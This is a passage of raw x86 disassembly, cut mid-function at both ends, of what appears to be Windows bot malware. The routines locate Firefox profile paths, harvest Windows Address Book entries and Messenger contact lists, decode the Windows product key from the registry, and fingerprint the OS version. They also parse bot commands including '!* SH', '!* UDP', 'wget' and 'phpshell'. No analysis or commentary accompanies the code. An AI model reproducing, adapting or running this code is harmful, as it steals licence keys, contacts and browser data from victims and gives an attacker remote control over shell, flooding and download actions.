jz short loc_424B1C
cmp [ebp+var_2808], 2Eh
jz short loc_424B2F
loc_424B1C: ; CODE XREF: sub_424A42+CFj
lea eax, [ebp+var_2808]
push edi
push eax
call sub_42459D
pop ecx
pop ecx
loc_424B2B: ; CODE XREF: sub_424A42+BEj
test eax, eax
jnz short loc_424B02
loc_424B2F: ; CODE XREF: sub_424A42+D8j
lea eax, [ebp+var_2808]
push edi
push eax
call sub_42459D
pop ecx
test eax, eax
pop ecx
jz loc_424C90
mov esi, offset aS_5 ; "%s"
loc_424B4B: ; CODE XREF: sub_424A42+248j
lea eax, [ebp+var_2808]
push eax
lea eax, [ebp+var_7808]
push [ebp+var_4]
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push offset dword_45036C
push edi
push eax
call sub_429AEE
lea eax, [ebp+var_2808]
push edi
push eax
call sub_42459D
add esp, 20h
jmp loc_424C22
; ---------------------------------------------------------------------------
loc_424B81: ; CODE XREF: sub_424A42+1E2j
cmp [ebp+var_2808], 2Eh
jz loc_424C2A
cmp [ebp+var_2808], 2Ah
lea eax, [ebp+var_2807]
jz short loc_424BA3
lea eax, [ebp+var_2808]
loc_424BA3: ; CODE XREF: sub_424A42+159j
push eax
lea eax, [ebp+var_A008]
push eax
call dword_4370A4 ; lstrcpyA
lea eax, [ebp+var_2808]
push edi
push eax
call sub_42459D
pop ecx
lea eax, [ebp+var_8]
pop ecx
push eax
lea eax, [ebp+var_2808]
push eax
call sub_4248F0
pop ecx
cmp eax, 1
pop ecx
jnz short loc_424C13
lea eax, [ebp+var_A008]
push eax
lea eax, [ebp+var_7808]
push eax
call ebx ; dword_437090
lea eax, [ebp+var_7808]
push offset asc_450368 ; ": "
push eax
call ebx ; dword_437090
push [ebp+var_8]
lea eax, [ebp+var_7808]
push eax
call ebx ; dword_437090
lea eax, [ebp+var_7808]
push offset asc_43D938 ; " "
push eax
call ebx ; dword_437090
and [ebp+var_8], 0
loc_424C13: ; CODE XREF: sub_424A42+193j
lea eax, [ebp+var_2808]
push edi
push eax
call sub_42459D
pop ecx
pop ecx
loc_424C22: ; CODE XREF: sub_424A42+13Aj
test eax, eax
jnz loc_424B81
loc_424C2A: ; CODE XREF: sub_424A42+146j
lea eax, [ebp+var_7808]
cmp [ebp+arg_10], 0
push eax
push esi
push [ebp+arg_14]
push [ebp+arg_8]
push [ebp+arg_C]
jnz short loc_424C48
call sub_41CE86
jmp short loc_424C4D
; ---------------------------------------------------------------------------
loc_424C48: ; CODE XREF: sub_424A42+1FDj
call sub_41CF1A
loc_424C4D: ; CODE XREF: sub_424A42+204j
add esp, 14h
cmp [ebp+arg_18], 0
jnz short loc_424C79
cmp [ebp+arg_10], 0
lea eax, [ebp+var_7808]
push eax
push esi
push [ebp+arg_8]
push [ebp+arg_C]
jnz short loc_424C71
call sub_41CD84
jmp short loc_424C76
; ---------------------------------------------------------------------------
loc_424C71: ; CODE XREF: sub_424A42+226j
call sub_41CD0E
loc_424C76: ; CODE XREF: sub_424A42+22Dj
add esp, 10h
loc_424C79: ; CODE XREF: sub_424A42+212j
lea eax, [ebp+var_2808]
push edi
push eax
call sub_42459D
pop ecx
test eax, eax
pop ecx
jnz loc_424B4B
loc_424C90: ; CODE XREF: sub_424A42+FEj
xor eax, eax
pop edi
inc eax
jmp short loc_424C98
; ---------------------------------------------------------------------------
loc_424C96: ; CODE XREF: sub_424A42+4Aj
; sub_424A42+52j ...
xor eax, eax
loc_424C98: ; CODE XREF: sub_424A42+252j
pop esi
pop ebx
leave
retn
sub_424A42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424C9C proc near ; CODE XREF: sub_424FC9+E7p
var_154 = byte ptr -154h
var_110 = byte ptr -110h
var_10F = byte ptr -10Fh
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 154h
push ebx
push esi
push edi
push 10h
pop ecx
mov esi, offset aSoftwareClient ; "SOFTWARE\\Clients\\StartMenuInternet\\fire"...
lea edi, [ebp+var_154]
mov al, byte_454A34
rep movsd
movsw
push 40h
mov [ebp+var_110], al
pop ecx
xor eax, eax
lea edi, [ebp+var_10F]
xor ebx, ebx
rep stosd
stosw
stosb
lea eax, [ebp+var_4]
mov [ebp+var_8], 104h
push eax
push 20019h
lea eax, [ebp+var_154]
push ebx
push eax
push 80000002h
call dword_437004
test eax, eax
jnz loc_424DDB
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_C]
push eax
push ebx
push ebx
push [ebp+var_4]
call dword_437028
test eax, eax
jnz loc_424DD2
cmp [ebp+var_8], ebx
jbe loc_424DD2
cmp [ebp+var_110], bl
jz loc_424DD2
push [ebp+var_4]
call dword_437000
cmp [ebp+var_110], 22h
jnz short loc_424D7E
lea eax, [ebp+var_110]
xor esi, esi
loc_424D53: ; DATA XREF: ?9:0043DA6Co
push eax
call sub_4292D0
dec eax
pop ecx
jz short loc_424D7E
loc_424D5D: ; CODE XREF: sub_424C9C+E0j
mov al, [ebp+esi+var_10F]
mov [ebp+esi+var_110], al
lea eax, [ebp+var_110]
push eax
inc esi
call sub_4292D0
dec eax
pop ecx
cmp esi, eax
jb short loc_424D5D
loc_424D7E: ; CODE XREF: sub_424C9C+ADj
; sub_424C9C+BFj
lea eax, [ebp+var_110]
push eax
call sub_4292D0
pop ecx
jmp short loc_424D97
; ---------------------------------------------------------------------------
loc_424D8D: ; CODE XREF: sub_424C9C+FEj
cmp [ebp+eax+var_110], 5Ch
jz short loc_424D9E
loc_424D97: ; CODE XREF: sub_424C9C+EFj
dec eax
cmp eax, ebx
jg short loc_424D8D
jmp short loc_424DA5
; ---------------------------------------------------------------------------
loc_424D9E: ; CODE XREF: sub_424C9C+F9j
mov [ebp+eax+var_110], bl
loc_424DA5: ; CODE XREF: sub_424C9C+100j
lea eax, [ebp+var_110]
push eax
call sub_4292D0
inc eax
push eax
call sub_4296E8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_424DCE
lea eax, [ebp+var_110]
push eax
push esi
call dword_4370A4 ; lstrcpyA
loc_424DCE: ; CODE XREF: sub_424C9C+122j
mov eax, esi
jmp short loc_424DDD
; ---------------------------------------------------------------------------
loc_424DD2: ; CODE XREF: sub_424C9C+82j
; sub_424C9C+8Bj ...
push [ebp+var_4]
call dword_437000
loc_424DDB: ; CODE XREF: sub_424C9C+60j
xor eax, eax
loc_424DDD: ; CODE XREF: sub_424C9C+134j
pop edi
pop esi
pop ebx
leave
retn
sub_424C9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DE2 proc near ; CODE XREF: sub_424FC9:loc_42509Ap
var_64C = dword ptr -64Ch
var_63D = byte ptr -63Dh
var_63C = byte ptr -63Ch
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_137 = byte ptr -137h
var_34 = byte ptr -34h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 63Ch
mov al, byte_454A34
push ebx
push esi
push edi
push 40h
mov [ebp+var_138], al
pop ecx
xor eax, eax
lea edi, [ebp+var_137]
push 8
rep stosd
stosw
stosb
pop ecx
mov esi, offset aApplicationDat ; "Application Data\\Mozilla\\Firefox"
lea edi, [ebp+var_34]
lea eax, [ebp+var_C]
rep movsd
xor ebx, ebx
push eax
push 8
mov [ebp+var_10], 104h
movsb
mov [ebp+var_4], ebx
call dword_43704C ; GetCurrentProcess
push eax
call dword_437010
test eax, eax
jz short loc_424EB0
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_C]
call dword_43727C
test eax, eax
jz short loc_424EB0
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_23C]
push eax
call dword_4370A4 ; lstrcpyA
mov esi, dword_437090
mov edi, offset asc_44DA9C ; "\\"
lea eax, [ebp+var_23C]
push edi
push eax
call esi ; dword_437090
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_23C]
push eax
call esi ; dword_437090
lea eax, [ebp+var_23C]
push offset aProfiles_ini ; "\\profiles.ini"
push eax
call esi ; dword_437090
lea eax, [ebp+var_23C]
push offset word_43EF70
push eax
call sub_42A43C
pop ecx
mov [ebp+var_8], eax
test eax, eax
pop ecx
jnz short loc_424EB7
loc_424EB0: ; CODE XREF: sub_424DE2+56j
; sub_424DE2+6Ej
xor eax, eax
jmp loc_424FC4
; ---------------------------------------------------------------------------
loc_424EB7: ; CODE XREF: sub_424DE2+CCj
push eax
jmp short loc_424F01
; ---------------------------------------------------------------------------
loc_424EBA: ; CODE XREF: sub_424DE2+135j
lea eax, [ebp+var_63C]
push eax
call sub_4245FB
cmp [ebp+var_4], 0
pop ecx
lea eax, [ebp+var_63C]
jnz short loc_424EED
push offset aNameDefault ; "name=default"
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_424EFE
mov [ebp+var_4], 1
jmp short loc_424EFE
; ---------------------------------------------------------------------------
loc_424EED: ; CODE XREF: sub_424DE2+EFj
push offset aPath_0 ; "path="
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_424F1E
loc_424EFE: ; CODE XREF: sub_424DE2+100j
; sub_424DE2+109j
push [ebp+var_8]
loc_424F01: ; CODE XREF: sub_424DE2+D6j
lea eax, [ebp+var_63C]
push 400h
push eax
call sub_42AFB7
add esp, 0Ch
test eax, eax
jnz short loc_424EBA
jmp loc_424FB9
; ---------------------------------------------------------------------------
loc_424F1E: ; CODE XREF: sub_424DE2+11Aj
lea eax, [ebp+var_63C]
push offset asc_446DD8 ; "/"
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_424F38
mov byte ptr [eax], 5Ch
loc_424F38: ; CODE XREF: sub_424DE2+151j
lea eax, [ebp+var_63C]
push eax
call sub_4292D0
and [ebp+eax+var_63D], 0
lea eax, [ebp+var_63C]
mov [esp+64Ch+var_64C], offset asc_44734C ; "="
push eax
call sub_42ADD0
push eax
mov [ebp+var_4], eax
call sub_4292D0
mov ebx, eax
lea eax, [ebp+var_34]
push eax
call sub_4292D0
add ebx, eax
lea eax, [ebp+var_138]
push eax
call sub_4292D0
lea eax, [ebx+eax+3]
push eax
call sub_4296E8
mov ebx, eax
add esp, 18h
test ebx, ebx
jz short loc_424FB9
lea eax, [ebp+var_138]
push eax
push ebx
call dword_4370A4 ; lstrcpyA
push edi
push ebx
call esi ; dword_437090
lea eax, [ebp+var_34]
push eax
push ebx
call esi ; dword_437090
push edi
push ebx
call esi ; dword_437090
mov eax, [ebp+var_4]
inc eax
push eax
push ebx
call esi ; dword_437090
loc_424FB9: ; CODE XREF: sub_424DE2+137j
; sub_424DE2+1B0j
push [ebp+var_8]
call sub_42A03B
pop ecx
mov eax, ebx
loc_424FC4: ; CODE XREF: sub_424DE2+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_424DE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424FC9 proc near ; DATA XREF: sub_40A938+1389o
var_28E4 = byte ptr -28E4h
var_1D4 = byte ptr -1D4h
var_D0 = dword ptr -0D0h
var_CC = byte ptr -0CCh
var_48 = dword ptr -48h
var_18 = dword ptr -18h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28E4h
call sub_429A90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp+var_D0]
rep movsd
mov esi, dword_437004
mov dword ptr [eax+0BCh], 1
and [ebp+var_8], 0
lea eax, [ebp+arg_0]
mov ebx, 20019h
push eax
push ebx
push 0
mov edi, 80000002h
push offset aSoftwareMozill ; "SOFTWARE\\Mozilla\\Mozilla Firefox"
push edi
mov [ebp+var_4], 104h
call esi ; dword_437004
test eax, eax
jz short loc_425038
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push offset aSoftwareMozi_0 ; "SOFTWARE\\mozilla.org\\Mozilla"
push edi
call esi ; dword_437004
test eax, eax
jnz loc_42514D
loc_425038: ; CODE XREF: sub_424FC9+56j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_1D4]
push eax
lea eax, [ebp+var_C]
push eax
push 0
push offset aCurrentversion ; "CurrentVersion"
push [ebp+arg_0]
call dword_437028
test eax, eax
jnz short loc_425075
cmp [ebp+var_4], eax
ja short loc_42506C
cmp [ebp+var_1D4], al
jz loc_42514D
loc_42506C: ; CODE XREF: sub_424FC9+95j
push [ebp+arg_0]
call dword_437000
loc_425075: ; CODE XREF: sub_424FC9+90j
cmp [ebp+var_48], 0
jz short loc_425097
push 2710h
lea eax, [ebp+var_28E4]
push [ebp+var_48]
xor edi, edi
inc edi
push eax
call sub_429C40
add esp, 0Ch
jmp short loc_42509A
; ---------------------------------------------------------------------------
loc_425097: ; CODE XREF: sub_424FC9+B0j
mov edi, [ebp+var_8]
loc_42509A: ; CODE XREF: sub_424FC9+CCj
call sub_424DE2
mov esi, eax
push esi
call sub_4245E7
test eax, eax
pop ecx
jz loc_42514D
call sub_424C9C
mov ebx, eax
push ebx
call sub_4245E7
test eax, eax
pop ecx
jz loc_42514D
push ebx
call sub_424699
test eax, eax
pop ecx
jz short loc_425148
push esi
call sub_424894
test eax, eax
pop ecx
jz short loc_425148
lea eax, [ebp+var_28E4]
push edi
push eax
lea eax, [ebp+var_CC]
push [ebp+var_18]
push [ebp+var_D0]
push eax
push offset dword_4503AC
push esi
call sub_424A42
lea eax, [ebp+var_28E4]
push edi
push eax
lea eax, [ebp+var_CC]
push [ebp+var_18]
push [ebp+var_D0]
push eax
push offset dword_45039C
push esi
call sub_424A42
lea eax, [ebp+var_28E4]
push edi
push eax
lea eax, [ebp+var_CC]
push [ebp+var_18]
push [ebp+var_D0]
push eax
push offset dword_45038C
push esi
call sub_424A42
add esp, 54h
loc_425148: ; CODE XREF: sub_424FC9+106j
; sub_424FC9+111j
xor eax, eax
inc eax
jmp short loc_42514F
; ---------------------------------------------------------------------------
loc_42514D: ; CODE XREF: sub_424FC9+69j
; sub_424FC9+9Dj ...
xor eax, eax
loc_42514F: ; CODE XREF: sub_424FC9+182j
pop edi
pop esi
pop ebx
leave
retn 4
sub_424FC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425156 proc near ; DATA XREF: sub_40A938+1197o
var_794 = byte ptr -794h
var_394 = byte ptr -394h
var_290 = byte ptr -290h
var_24C = byte ptr -24Ch
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = byte ptr -0E0h
var_2C = dword ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 794h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp+var_E4]
rep movsd
xor edi, edi
xor ebx, ebx
inc edi
mov [ebp+var_1C], 320h
mov [eax+0BCh], edi
mov eax, [ebp+var_E4]
mov [ebp+arg_0], eax
lea eax, [ebp+var_C]
push eax
push 0F003Fh
push ebx
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
call dword_437004
cmp [ebp+var_C], ebx
jnz short loc_4251B3
loc_4251AC: ; CODE XREF: sub_425156+BDj
; sub_425156+E1j
mov eax, edi
jmp loc_4253B9
; ---------------------------------------------------------------------------
loc_4251B3: ; CODE XREF: sub_425156+54j
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_394]
push eax
push ebx
push ebx
push offset byte_454A34
push [ebp+var_C]
call dword_437028
push [ebp+var_C]
call dword_437000
push ebx
push 80h
push 4
push ebx
push edi
lea eax, [ebp+var_394]
push 80000000h
push eax
call dword_43705C ; CreateFileA
push ebx
push ebx
push ebx
push 2
push ebx
push eax
mov [ebp+var_4], eax
call dword_4370B8 ; CreateFileMappingA
cmp eax, ebx
mov [ebp+var_10], eax
jnz short loc_425215
push [ebp+var_4]
call dword_437044 ; CloseHandle
jmp short loc_4251AC
; ---------------------------------------------------------------------------
loc_425215: ; CODE XREF: sub_425156+B2j
push ebx
push ebx
push ebx
push 4
push eax
call dword_437040 ; MapViewOfFile
mov esi, eax
cmp esi, ebx
jnz short loc_42523C
push [ebp+var_10]
mov esi, dword_437044
call esi ; dword_437044
push [ebp+var_4]
call esi ; dword_437044
jmp loc_4251AC
; ---------------------------------------------------------------------------
loc_42523C: ; CODE XREF: sub_425156+CFj
xor ecx, ecx
xor eax, eax
loc_425240: ; DATA XREF: ?9:off_44F8E4o
mov ch, [esi+63h]
mov ah, [esi+61h]
mov cl, [esi+62h]
movsx edi, byte ptr [esi+64h]
movzx eax, ax
shl ecx, 10h
or ecx, eax
movzx eax, byte ptr [esi+60h]
or ecx, eax
mov eax, edi
imul eax, 44h
cmp eax, ebx
jle short loc_4252C9
add ecx, esi
push 44h
mov [ebp+var_8], ecx
dec eax
xor edx, edx
pop ecx
div ecx
mov edi, eax
inc edi
loc_425274: ; CODE XREF: sub_425156+171j
mov ecx, [ebp+var_8]
xor eax, eax
loc_425279: ; CODE XREF: sub_425156+132j
mov dl, [ecx]
inc ecx
mov [ebp+eax+var_290], dl
inc ecx
inc eax
cmp eax, 44h
jle short loc_425279
cmp [ebp+var_2C], ebx
lea eax, [ebp+var_290]
push eax
lea eax, [ebp+var_E0]
push offset aS_5 ; "%s"
push eax
push [ebp+arg_0]
mov [ebp+var_24C], bl
jnz short loc_4252B2
call sub_41CD84
jmp short loc_4252B7
; ---------------------------------------------------------------------------
loc_4252B2: ; CODE XREF: sub_425156+153j
call sub_41CD0E
loc_4252B7: ; CODE XREF: sub_425156+15Aj
add esp, 10h
push 64h
call dword_43718C ; Sleep
add [ebp+var_8], 44h
dec edi
jnz short loc_425274
loc_4252C9: ; CODE XREF: sub_425156+10Cj
push [ebp+var_4]
mov edi, dword_437044
call edi ; dword_437044
push esi
call dword_437048 ; UnmapViewOfFile
push [ebp+var_10]
call edi ; dword_437044
lea eax, [ebp+var_18]
push eax
push 0F003Fh
push ebx
push offset aSoftwareMicr_3 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
call dword_437004
test eax, eax
jnz loc_4253B6
mov esi, 400h
mov [ebp+var_20], 3
mov [ebp+var_14], esi
mov [ebp+var_4], ebx
mov edi, offset dword_4504A4
loc_425319: ; CODE XREF: sub_425156+252j
push 80h
lea eax, [ebp+var_164]
push ebx
push eax
call sub_429690
push [ebp+var_4]
lea eax, [ebp+var_164]
push offset aAllowD ; "Allow%d"
push eax
call sub_429A33
inc [ebp+var_4]
push esi
lea eax, [ebp+var_794]
push ebx
push eax
mov [ebp+var_14], esi
call sub_429690
add esp, 24h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_794]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_164]
push ebx
push eax
push [ebp+var_18]
call dword_437028
test eax, eax
jnz short loc_4253AD
cmp [ebp+var_2C], ebx
lea eax, [ebp+var_794]
push eax
lea eax, [ebp+var_E0]
push edi
push eax
push [ebp+arg_0]
jnz short loc_425398
call sub_41CD84
jmp short loc_42539D
; ---------------------------------------------------------------------------
loc_425398: ; CODE XREF: sub_425156+239j
call sub_41CD0E
loc_42539D: ; CODE XREF: sub_425156+240j
add esp, 10h
push 64h
call dword_43718C ; Sleep
jmp loc_425319
; ---------------------------------------------------------------------------
loc_4253AD: ; CODE XREF: sub_425156+222j
push [ebp+var_18]
call dword_437000
loc_4253B6: ; CODE XREF: sub_425156+1A6j
xor eax, eax
inc eax
loc_4253B9: ; CODE XREF: sub_425156+58j
pop edi
pop esi
pop ebx
leave
retn 4
sub_425156 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4253C0 proc near ; CODE XREF: sub_42549F+127p
var_AC = byte ptr -0ACh
var_78 = byte ptr -78h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0ACh
lea eax, [ebp+var_4]
push esi
push eax
push 20019h
push 3
push offset aSoftwareMicr_4 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
xor esi, esi
call dword_456FA0 ; RegOpenKeyExA
test eax, eax
jnz loc_42549A
lea eax, [ebp+var_8]
mov [ebp+var_8], 0A4h
push eax
lea eax, [ebp+var_AC]
push eax
push esi
push esi
push offset aDigitalproduct ; "DigitalProductId"
push [ebp+var_4]
call dword_456DD0 ; RegQueryValueExA
test eax, eax
jnz short loc_425491
push ebx
xor ebx, ebx
cmp [ebp+arg_4], esi
push edi
push 0Fh
lea esi, [ebp+var_78]
setnz bl
pop ecx
lea edi, [ebp+var_AC]
lea ebx, ds:18h[ebx*4]
add ebx, [ebp+arg_0]
mov [ebp+arg_0], 18h
rep movsb
loc_42543E: ; CODE XREF: sub_4253C0+CAj
push 0Eh
xor eax, eax
pop esi
loc_425443: ; CODE XREF: sub_4253C0+A1j
lea ecx, [ebp+esi+var_AC]
push 18h
shl eax, 8
movzx edx, byte ptr [ecx]
xor eax, edx
xor edx, edx
pop edi
div edi
dec esi
cmp esi, 0FFFFFFFFh
mov [ecx], al
mov eax, edx
jg short loc_425443
mov al, byte_450524[eax]
push 5
mov [ebx], al
mov eax, [ebp+arg_0]
cdq
pop ecx
dec ebx
idiv ecx
test edx, edx
jnz short loc_425487
cmp [ebp+arg_0], edx
jle short loc_425487
cmp [ebp+arg_4], edx
jz short loc_425487
mov byte ptr [ebx], 2Dh
dec ebx
loc_425487: ; CODE XREF: sub_4253C0+B7j
; sub_4253C0+BCj ...
dec [ebp+arg_0]
jns short loc_42543E
xor esi, esi
pop edi
inc esi
pop ebx
loc_425491: ; CODE XREF: sub_4253C0+53j
push [ebp+var_4]
call dword_456EE8 ; RegCloseKey
loc_42549A: ; CODE XREF: sub_4253C0+29j
mov eax, esi
pop esi
leave
retn
sub_4253C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42549F proc near ; CODE XREF: sub_40A938+145Dp
var_BC = byte ptr -0BCh
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_8C = dword ptr -8Ch
var_88 = byte ptr -88h
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0BCh
push esi
push edi
xor edi, edi
push 10h
push edi
push offset dword_6607CC
mov esi, offset off_4476F8
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_9C]
mov [ebp+var_9C], 9Ch
push eax
call dword_437050 ; GetVersionExA
test eax, eax
jz loc_4255BD
push [ebp+var_94]
push [ebp+var_98]
push offset aD_D ; "%d.%d"
push 4
push esi
call sub_429AEE
add esp, 14h
cmp [ebp+var_98], 4
jnz short loc_425552
cmp [ebp+var_94], edi
jnz short loc_425532
cmp [ebp+var_8C], 1
jnz short loc_42551B
mov esi, offset a95 ; "95"
loc_42551B: ; CODE XREF: sub_42549F+75j
cmp [ebp+var_8C], 2
jnz loc_4255BD
mov esi, offset aNt_0 ; "NT"
jmp loc_4255BD
; ---------------------------------------------------------------------------
loc_425532: ; CODE XREF: sub_42549F+6Cj
cmp [ebp+var_94], 0Ah
jnz short loc_425542
mov esi, offset a98 ; "98"
jmp short loc_4255BD
; ---------------------------------------------------------------------------
loc_425542: ; CODE XREF: sub_42549F+9Aj
cmp [ebp+var_94], 5Ah
jnz short loc_4255BD
mov esi, offset aMe_0 ; "ME"
jmp short loc_4255BD
; ---------------------------------------------------------------------------
loc_425552: ; CODE XREF: sub_42549F+64j
cmp [ebp+var_98], 5
jnz short loc_42558A
cmp [ebp+var_94], edi
jnz short loc_42556A
mov esi, offset a2k ; "2K"
jmp short loc_4255BD
; ---------------------------------------------------------------------------
loc_42556A: ; CODE XREF: sub_42549F+C2j
cmp [ebp+var_94], 1
jnz short loc_42557A
mov esi, offset aXp ; "XP"
jmp short loc_4255BD
; ---------------------------------------------------------------------------
loc_42557A: ; CODE XREF: sub_42549F+D2j
cmp [ebp+var_94], 2
jnz short loc_4255BD
mov esi, offset a2k3_0 ; "2K3"
jmp short loc_4255BD
; ---------------------------------------------------------------------------
loc_42558A: ; CODE XREF: sub_42549F+BAj
cmp [ebp+var_98], 6
jnz short loc_4255BD
cmp [ebp+var_94], edi
jnz short loc_4255AF
cmp [ebp+var_2], 1
jnz short loc_4255A8
mov esi, offset aVista_0 ; "Vista"
jmp short loc_4255BD
; ---------------------------------------------------------------------------
loc_4255A8: ; CODE XREF: sub_42549F+100j
mov esi, offset a2008 ; "2008"
jmp short loc_4255BD
; ---------------------------------------------------------------------------
loc_4255AF: ; CODE XREF: sub_42549F+FAj
cmp [ebp+var_94], 1
jnz short loc_4255BD
mov esi, offset a7 ; "7"
loc_4255BD: ; CODE XREF: sub_42549F+3Bj
; sub_42549F+83j ...
lea eax, [ebp+var_BC]
push 1
push eax
call sub_4253C0
pop ecx
test eax, eax
pop ecx
jz short loc_425606
lea eax, [ebp+var_BC]
cmp [ebp+arg_8], edi
push eax
lea eax, [ebp+var_88]
push eax
push esi
push offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
push offset aSWindowsSSKey_ ; "%s Windows %s (%s) Key: %.29s"
push [ebp+arg_0]
push [ebp+arg_4]
jnz short loc_4255FF
call sub_41CD84
loc_4255FA: ; CODE XREF: sub_42549F+165j
add esp, 1Ch
jmp short loc_42562A
; ---------------------------------------------------------------------------
loc_4255FF: ; CODE XREF: sub_42549F+154j
call sub_41CD0E
jmp short loc_4255FA
; ---------------------------------------------------------------------------
loc_425606: ; CODE XREF: sub_42549F+130j
cmp [ebp+arg_8], edi
push offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
push offset aSWindowsKeyNot ; "%s Windows Key not found."
push [ebp+arg_0]
push [ebp+arg_4]
jnz short loc_425622
call sub_41CD84
jmp short loc_425627
; ---------------------------------------------------------------------------
loc_425622: ; CODE XREF: sub_42549F+17Aj
call sub_41CD0E
loc_425627: ; CODE XREF: sub_42549F+181j
add esp, 10h
loc_42562A: ; CODE XREF: sub_42549F+15Ej
pop edi
pop esi
leave
retn
sub_42549F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42562E proc near ; CODE XREF: sub_40A938+1503p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 88h
lea eax, [ebp+var_4]
push esi
xor esi, esi
push eax
push 20019h
push esi
push [ebp+arg_10]
mov [ebp+var_4], esi
mov [ebp+var_8], 80h
push [ebp+arg_C]
call dword_437004
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_88]
push eax
push esi
push esi
push [ebp+arg_14]
push [ebp+var_4]
call dword_437028
test eax, eax
jnz short loc_4256AB
lea eax, [ebp+var_88]
cmp [ebp+arg_8], esi
push eax
push offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
push offset aSS_ ; "%s %s."
push [ebp+arg_0]
push [ebp+arg_4]
jnz short loc_42569A
call sub_41CD84
jmp short loc_42569F
; ---------------------------------------------------------------------------
loc_42569A: ; CODE XREF: sub_42562E+63j
call sub_41CD0E
loc_42569F: ; CODE XREF: sub_42562E+6Aj
add esp, 14h
push [ebp+var_4]
call dword_437000
loc_4256AB: ; CODE XREF: sub_42562E+47j
pop esi
leave
retn
sub_42562E endp
; =============== S U B R O U T I N E =======================================
sub_4256AE proc near ; CODE XREF: sub_425A1B+198p
; sub_425A1B+1BCp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_6607DC, eax
mov eax, offset dword_6607DC
retn
sub_4256AE endp
; =============== S U B R O U T I N E =======================================
sub_4256BD proc near ; CODE XREF: sub_425A1B+226p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset dword_443F04
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_4256D7
loc_4256D3: ; CODE XREF: sub_4256BD+29j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4256D7: ; CODE XREF: sub_4256BD+14j
push offset dword_443EF4
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4256D3
push offset aSh ; "!* SH"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_4256FE
loc_4256F9: ; CODE XREF: sub_4256BD+50j
; sub_4256BD+61j ...
xor eax, eax
pop esi
inc eax
retn
; ---------------------------------------------------------------------------
loc_4256FE: ; CODE XREF: sub_4256BD+3Aj
push offset aUdp ; "!* UDP"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4256F9
push offset aPan ; "!* PAN"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4256F9
push offset aPush ; "!* PUSH"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4256F9
push offset aWget ; "wget"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4256F9
push offset aPhpshell ; "phpshell"
push esi
call sub_42ADD0
pop ecx
test eax, eax
